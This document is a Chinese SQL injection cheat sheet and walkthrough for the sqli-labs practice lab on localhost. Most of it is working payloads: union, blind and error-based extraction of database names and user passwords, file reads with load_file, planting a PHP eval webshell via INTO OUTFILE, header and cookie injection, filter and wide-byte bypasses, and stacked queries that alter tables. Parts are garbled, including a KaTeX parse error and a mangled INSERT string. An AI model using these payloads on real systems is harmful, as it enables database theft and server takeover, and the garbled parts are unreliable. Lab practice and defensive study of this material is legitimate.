目录

  • 判断是否存在注入
  • 判断列数
  • Union联合注入
  • 爆数据库
  • 爆表
  • 爆字段
  • 爆数据
  • sql盲注
  • 导入导出文件
  • Post注入
  • 修改useragent:
  • 修改referer:
  • 修改cookie
  • group_concat
  • 二次排序注入
  • 绕过 or 和 and 过滤
  • 绕过空格的过滤
  • 宽字节注入
  • 堆叠注入
  • order by后的injection
  • mysqli_multi_query()函数

判断是否存在注入

在 http://127.0.0.1/sqllib/Less-5/?id=1 后面直接添加一个 ‘ ,来看一下效果,从错误信息中得到我们所需要的信息

判断列数

Order by 对前面的数据进行排序,超过列数就会报错

Union联合注入

union 的作用是将两个 sql 语句进行联合。强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all 与 union 的区别是增加了去重的功能。

http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2,3–+
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返 回了我们构造的 union 的数据

爆数据库

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3% 20from%20information_schema.schemata–+

爆表

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20f rom%20information_schema.tables%20where%20table_schema=%27security%27–+

爆字段

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%2 0from%20information_schema.columns%20where%20table_name=%27users%27–+

爆数据

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,username,password%20from%20 users%20where%20id=2–+

sql盲注

1、基于布尔 SQL 盲注

正则注入
select * from users where id=1 and 1=(if((user() regexp ‘^r’),1,0));
select * from users where id=1 and 1=(user() regexp’^ri’);
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=‘security’ and table_name regexp ‘^us[a-z]’ limit 0,1);

like匹配注入
select user() like ‘ro%’

2、基于时间的 SQL 盲注
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23

UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;

3、基于报错的 SQL 盲注
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2)) a from information_schema.columns group by a;
简化后:
select count(
) from information_schema.tables group by concat(version(), floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果 rand 被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(passwo rd,@a:=(@a+1)%2)

select exp(~(select * FROM(SELECT USER())a)) //double 数值类 型超出范围

select !(select * from (select user())x) -(ps:这是减号) ~0 //bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; //mysql 重复特性,此处重复了 version,所以报错。

extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql 对 xml 数据进 行查询和修改的 xpath 函数,xpath 语法错误

updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql 对 xml 数据进行 查询和修改的 xpath 函数,xpath 语法错误

实例:
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20length(database())=8%23

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27–+

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27–+

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name% 20from%20information_schema.tables%20where%20table_schema=database()%20limit%20 0,1),1,1))%3E80–+

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20i nformation_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))%3E108 --+

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20i nformation_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))%3E113 --+

http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%201=(select%201%20from%20information_sch ema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20% 27^us[a-z]%27%20limit%200,1)–+

http://127.0.0.1/sqllib/Less-5/?id=1’ and 1=(select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^username’ limit 0,1)–+

http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(usernam e%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))= 68–+

http://127.0.0.1/sqllib/Less-5/?id=1’ union Select 1,count(*),concat(0x3a,0x3a,(select user()),0 x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a–+

http://127.0.0.1/sqllib/Less-5/?id=1’ union select (exp(~(select * FROM(SELECT USER())a))),2, 3–+

http://127.0.0.1/sqllib/Less-5/?id=1’ union select (!(select * from (select user())x) - ~0),2,3- -+

http://127.0.0.1/sqllib/Less-5/?id=1’ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+

http://127.0.0.1/sqllib/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

http://127.0.0.1/sqllib/Less-5/?id=1’union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

http://127.0.0.1/sqllib/Less-5/?id=1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+

http://127.0.0.1/sqllib/Less-5/?id=1’UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN CHMARK(50000000,ENCODE(‘MSG’,‘by 5 seconds’)),null)),2,3 FROM (select database() as cur rent) as tb1–+

导入导出文件

and (select count() from mysql.user)>0/ 如果结果返回正常,说明具有读写权限。
and (select count() from mysql.user)>0/ 返回错误,应该是管理员给数据库帐户降权

Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码

-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69) Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69” -1 union select 1,1,1,load_file(c:\boot.ini) Explain:路径里的/用 \代替

Select version() into outfile “c:\phpnow\htdocs\test.php”

Select <?php @eval($_post[“mima”])?> into outfile “c:\phpnow\htdocs\test.php”

Select version() Into outfile “c:\phpnow\htdocs\test.php” LINES TERMINATED BY 0x16 进制文 件
解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS TERMINATED BY

是当前台无法导出数据的时候,我们可以利用下面的语 句:
select load_file(‘c:\wamp\bin\mysql\mysql5.6.17\my.ini’)into outfile ‘c:\wamp\www\test.php

实例:
http://127.0.0.1/sqllib/Less-7/?id=1’)) or 1=1–+

http://127.0.0.1/sqllib/Less-7/?id=1’))UNION SELECT 1,2,3 into outfile “c:\wamp\www\sqlli b\Less-7\uuu.txt”%23

http://127.0.0.1/sqllib/Less-7/?id=1’))UNION SELECT 1,2,’<?php @eval($_post[“mima”])?>’ i nto outfile “c:\wamp\www\sqllib\Less-7\yijuhua.php”–+

http://127.0.0.1/sqllib/Less-8/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))–+

http://127.0.0.1/sqllib/Less-8/?id=1’ union Select 1,count(*),concat(0x3a,0x3a,(select user()),0 x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a–+

http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))–+

http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select table_name from information_s chema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+

http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select column_name from information _schema.columns where table_name=‘users’ limit 0,1),1,1))=105,1,sleep(5))–+

http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))–+

Post注入

admin’or’1’=‘1#,密码随意。
KaTeX parse error: Expected 'EOF', got '#' at position 73: …'admin'or'1'='1#̲ and password='passwd’ LIMIT 0,1";

Username:1admin’union select 1,database()#
passwd=1(任意密码)

uname=admin’)and left(database(),1)>‘a’#&passwd=1&submit=Submit

uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submi t=Submit

uname=admin’and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Subm it

修改useragent:

对 uname 和 passwd 进行了 check_input()函数的处理,所以我们在输入 uname 和 passwd 上 进行注入是不行的
insert="INSERTINTO‘security‘.‘uagents‘(‘uagent‘,‘ipaddress‘,‘username‘)VALUES(′insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('insert="INSERTINTO‘security‘.‘uagents‘(‘uagent‘,‘ipa​ddress‘,‘username‘)VALUES(′uagent’, ‘$IP’, $uname)";

Ip 地址我们这里修改不是很方便,但是 useragent 修改较为方便,我们从 useragent 入手 我们利用 live http headers 进行抓包改包
将 user-agent 修改为’and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’='1

修改referer:

将 referer 修改为’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ‘1’='1

修改cookie

到 cookie 从 username 中获得值后,当再次刷新时,会从 cookie 中读 取 username,然后进行查询。 登录成功后,我们修改 cookie,再次刷新时,这时候 sql 语句就会被修改了。

我们修改 cookie 为 uname=admin1’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

group_concat

http://127.0.0.1/sqllib/Less-23/index.php?id=-1’union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),'3

http://127.0.0.1/sqllib/Less-23/index.php?id=-1’union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),'3

http://127.0.0.1/sqllib/Less-23/index.php?id=-1’union select 1,(select
group_concat(username) from security.users limit 0,1),'3

二次排序注入

UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’ # ’ AND password=’ , 也 就 是 执 行 了 UPDATE users SET passwd=“New_Pass” WHERE username =’ admin

绕过 or 和 and 过滤

(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/or/
(4)利用符号 and=&& or=||

http://127.0.0.1/sqllib/Less-25/index.php?id=1’|| extractvalue(1,concat(0x7e,database()))–+

http://127.0.0.1/sqllib/Less-25/index.php?id=1&&1=1–+

http://127.0.0.1/sqllib/Less-25a/?id=-1%20UNION%20select%201,@@basedir,3%23

绕过空格的过滤

在 windows 下无法使用一些特殊的字符代替空格,此处是因为 apac 59
he 的解析的问题,这里请更换到 linux 平台下

对于空格,有较多的方法:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

http://127.0.0.1/sqllib/Less-26/?id=1’%a0||'1

http://127.0.0.1/sqllib/Less-26/?id=100%27union%0bselec t%a01,2,3||%271

http://127.0.0.1/sqllib/Less-26a/?id=100‘)union%a0select%a01,2,3||(’1

http://127.0.0.1/sqllib/Less-26a/?id=100’)union%a0select%a01,user(),(‘3

127.0.0.1/sqllib/Less-27/?id=100’unIon%a0SelEcT%a01,database(),3||'1

http://127.0.0.1/sqllib/Less-27a/?id=100“%a0UnIon%a0SElecT%a01,user(),”3

http://127.0.0.1/sqllib/Less-28a/?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271

宽字节注入

mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个 汉字(前一个 ascii 码大于 128 才能到汉字的范围)。
我们在过滤 ’ 的时候,往往利用的思 路是将 ‘ 转换为 \’ (转换的函数或者思路会在每一关遇到的时候介绍)。

因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:

1、%df 吃掉 \ 具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此 事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c 给注释掉。这也是 bypass 的一种方法。

http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27union%20select%201,user(),3–+

使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。 预定义字符是: 单引号(’)
双引号(")
反斜杠(\)
Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 下列字符受影响:
 \x00
 \n
 \r
 \
 ’
 "
 \x1a
但是因 mysql 我们并没有设置成 gbk,所以 mysql_real_escape_string()依旧能够被突破。方法 和上述是一样的。

http://127.0.0.1/sqli-labs/Less-36/?id=-1%EF%BF%BD%27union%20select%201,user(),3–+

这个我们利用的 ‘ 的 utf-16 进行突破的,我们也可以利用%df 进行。
Payload: http://127.0.0.1/sqli-labs/Less-36/?id=-1%df%27union%20select%201,user(),3–+

设置代码: Mysql_set_charset(‘gbk’,’$conn’) 71

堆叠注入

union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是 任意的语句

http://127.0.0.1/sqli-labs/Less-38/index.php?id=1%27;insert%20into%20users(id,username,pass word)%20values%20(%2738%27,%27less38%27,%27hello%27)–+

SELECT * FROM users WHERE username=‘admin’ and password='c’;create table less42 like users#

order by后的injection

$sql = “SELECT * FROM users ORDER BY $id”;
尝试?sort=1 desc 或者 asc,显示结果不同,则表明可以注入。(升序 or 降序排列)

我们的注入点在 order by 后面的参数中,而 order by 不同于的我们在 where 后的注入点,不能使用 union 等进行注入。

order by 后的数字可以作为一个注入点。也就是构造 order by 后的一个语句,让 该语句执行结果为一个数,我们尝试
http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1)

没有报错,但是 right 换成 left 都一样,说明数字没有起作用,我们考虑布尔类型。

此时我 们可以用报错注入和延时注入。 此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)
③利用 and,例如?sort=1 and (加 sql 语句)。

http://127.0.0.1/sqli-labs/Less-46/?sort=(select%20count(*)%20from%20information_schema.co lumns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=116)

http://127.0.0.1/sqli-labs/Less-46/?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115), BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20curr ent)%20as%20tb1)

http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))

http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),con cat(0x3a,version())),1)

http://127.0.0.1/sqllib/Less-46/?sort=1%20into%20outfile%20%22c:\wamp\www\sqllib\test 1.txt%22

http://127.0.0.1/sqli-labs/Less-47/index.php?sort=1% 27and%20rand(ascii(left(database(),1))=115)–+

http://127.0.0.1/sqli-labs/Less-47/index.php?sort=1%27and%20rand(ascii(left(dat abase(),1))=116)–+

http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20(select%20count(*)%20from%20informati on_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(ran d()*2)))–+

http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20(select%20*%20from%20(select%20NAME _CONST(version(),1),NAME_CONST(version(),1))x)–+

http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20If(ascii(substr(database(),1,1))=115,0,sleep (5))–+

mysqli_multi_query()函数

执行 sql 语句我们这里使用的是 mysqli_multi_query()函数,而之前我们使用的是 mysqli _query(),区别在于 mysqli_multi_query()可以执行多个 sql 语句,而 mysqli_query()只能执行 一个 sql 语句,那么我们此处就可以执行多个 sql 语句进行注入,也就是我们之前提到的 sta tcked injection。

http://127.0.0.1/sqli-labs/Less-50/index.php?sort=1;create%20table%20less50%20like%20users

超全SQL注入实用语句相关推荐

  1. 【白帽子学习笔记14】SQL注入常用语句

    [白帽子学习笔记14]SQL注入常用语句 目前网站中使用的最多的数据库要算是 ACCESS.SQL Server(MSSQL).MySQL 这三个了,所以这里的手工注入,我就以他们三个数据库来分成三 ...

  2. 标准SQL注入入侵语句

    1.判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0<>(selec ...

  3. SQL注入系列(一)——超详细SQL注入环境搭建

    首先准备一台:windows2008 sever 的虚拟机(如果电脑配置较低的,可以开自己本机) phpstudy2016(个人喜好) 下载chrome浏览器(用google浏览器,存属于个人爱好哈~ ...

  4. Oracle SQL注入常用语句

    解析IP select utl_inaddr.get_host_address('google.com') from dual; 获取本机IP地址 select utl_inaddr.get_host ...

  5. sql注入——php源码的审计(以sql-lab 1~15为例)(超详细)

    sql注入--php源码的审计(以sql-lab 1~15为例)(超详细) sql注入 sql注入:web应用对用户输入数据的合法性没有判断,并且传入的参数是攻击者可控的,因此攻击者通过构造不同的sq ...

  6. mysql 手工sql注入_【sql注入专题02】Mysql手工注入流程

    0x00 SQL注入的语句介绍 SQL注入的本质 sql注入的本质就是查询某个数据库下的某个表中的某些字段的内容,比如我们平时在数据库查询一条数据时操作. mysql> use security ...

  7. metinfo mysql_Metinfo 5.3.17 前台SQL注入漏洞

    Metinfo 8月1日升级了版本,修复了一个影响小于等于5.3.17版本(几乎可以追溯到所有5.x版本)的SQL注入漏洞.这个SQL注入漏洞不受软WAF影响,可以直接获取数据,影响较广. ### 0 ...

  8. 渗透学习-SQL注入篇-基础知识的学习(持续更新中)

    提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录 前言 一.SQL注入产生的原因 二.手工注入大致过程 1.判断注入点: 2.猜解列名 3.猜解能 ...

  9. 基于pikachu漏洞平台的 --SQL注入攻击学习与总结

    SQL注入攻击 基础知识 常见注释符号 使用示例 pikachu 漏洞联系平台 -- SQL注入 SQL注入攻击流程 注入点类型 数字型注入(POST) 字符型注入(GET) 搜索型注入 XX型注入 ...

  10. Metinfo 5.3.17 前台SQL注入漏洞分析及实验

    2017年08月07日  漏洞分析                作者:phith0n@长亭科技 原文地址:https://paper.seebug.org/371/ Metinfo 8月1日升级了版 ...

最新文章

  1. Python django实现简单的邮件系统发送邮件功能
  2. 成对的交换链表的节点 Swap Nodes in Pairs
  3. CTFshow php特性 web138
  4. 前端 学习笔记day48 CSS介绍
  5. linux生成表格文件大小,如何为linux中的文件夹生成清单(文件列表及其大小和数量)...
  6. python-字典-定义-增删改取
  7. VC“cannot execute program”错误的解决方法
  8. linux启动盘制作工具_开源免费的国产多系统启动盘制作工具:Ventoy
  9. android局部翻转动画,android 围绕中心旋转动画
  10. [NOI2015Day1]解题报告
  11. VIM问题合集(持续更新)
  12. 遗传算法优化的bp神经网络_【首发推荐】农学:基于遗传BP神经网络的采摘机器人手眼标定研究...
  13. python中tell函数_PYTHON学习14.09:Python seek()和tell()函数详解
  14. 航班网站php项目,php的实时航班api调用代码实例
  15. linux启动盘恢复成普通U盘,u盘启动盘还原普通u盘win10 制作
  16. 支付宝扫码转银行卡技术/隐藏部分卡号
  17. 18. --plic--=--ply--=--pli--=--ple--=--plex--=--plo-- to fold 倍,重,折叠 (词19、20)
  18. 项目管理工具 | 软件开发项目管理软件
  19. Windows 内网渗透之攻击域控
  20. 实现自动轮播图(html+js)

热门文章

  1. 存储器容量相关概念及计算
  2. 微型计算机内存储容量的基本单位是,计算机中用来表示内存储器容量大小的基本单位是()。...
  3. 前端实现打印页面的指定内容 + 快递面单的模板
  4. 【EDA课程设计】FPGA交通信号灯的设计(含动画视频、超详细思路/步骤分析、完整代码与效果详解)
  5. 计算机职业素养论文1500字,职业素养论文1500字 [职业素养教育论文]
  6. onenote2019导入_将OneNote 2007笔记本导入Evernote
  7. google服务框架 闪退_缺少谷歌服务框架的情况下出现闪退黑屏
  8. spring 中execution 表达式语法
  9. 苹果电脑如何设置屏保时间?
  10. BlackBerry 9900刷机